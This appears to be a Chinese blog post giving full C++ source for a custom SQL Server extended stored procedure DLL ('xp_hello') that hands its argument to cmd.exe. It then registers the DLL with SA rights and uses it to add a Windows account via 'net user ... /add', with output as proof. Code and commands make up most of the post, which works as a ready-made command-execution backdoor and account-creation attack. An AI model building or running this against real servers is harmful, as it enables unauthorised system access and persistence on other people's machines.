在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:
- #include
- #include
- #define XP_NOERROR 0
- #define XP_ERROR 1
- #define MAXCOLNAME 25
- #define MAXNAME 25
- #define MAXTEXT 255
- #ifdef __cplusplus
- extern “C” {
- #endif
- RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);
- #ifdef __cplusplus
- }
- #endif
- RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)
- {
- /***************************** 说明 *************************
- 由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,
- 无赖之下,只好用老式的srv_paramdata
- *************************************************************/
- int bufLen;
- DBCHAR spName[MAXNAME];
- DBCHAR spText[MAXTEXT];
- DBCHAR spBuf[MAXTEXT];
- unsigned char cmdline[255] = “”;
- if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出
- bufLen = srv_paramlen(srvproc,1);
- if(!bufLen) return XP_ERROR;
- wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值
- wsprintf(spName, “xp_hello”);
- wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);
- srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息
- wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数
- ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令
- return XP_NOERROR ;
- }
复制代码 编译生成xp_hello.dll
以SA连接SQL Server 执行
dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);
提示成功过后,调用
exec xp_hello ‘net user fuck fuck /add’;
这样系统里面就多了个fuck账户
C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user
\\PC-200910151119 的用户帐户
—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。
阅读(420) | 评论(1) | 转发(0) |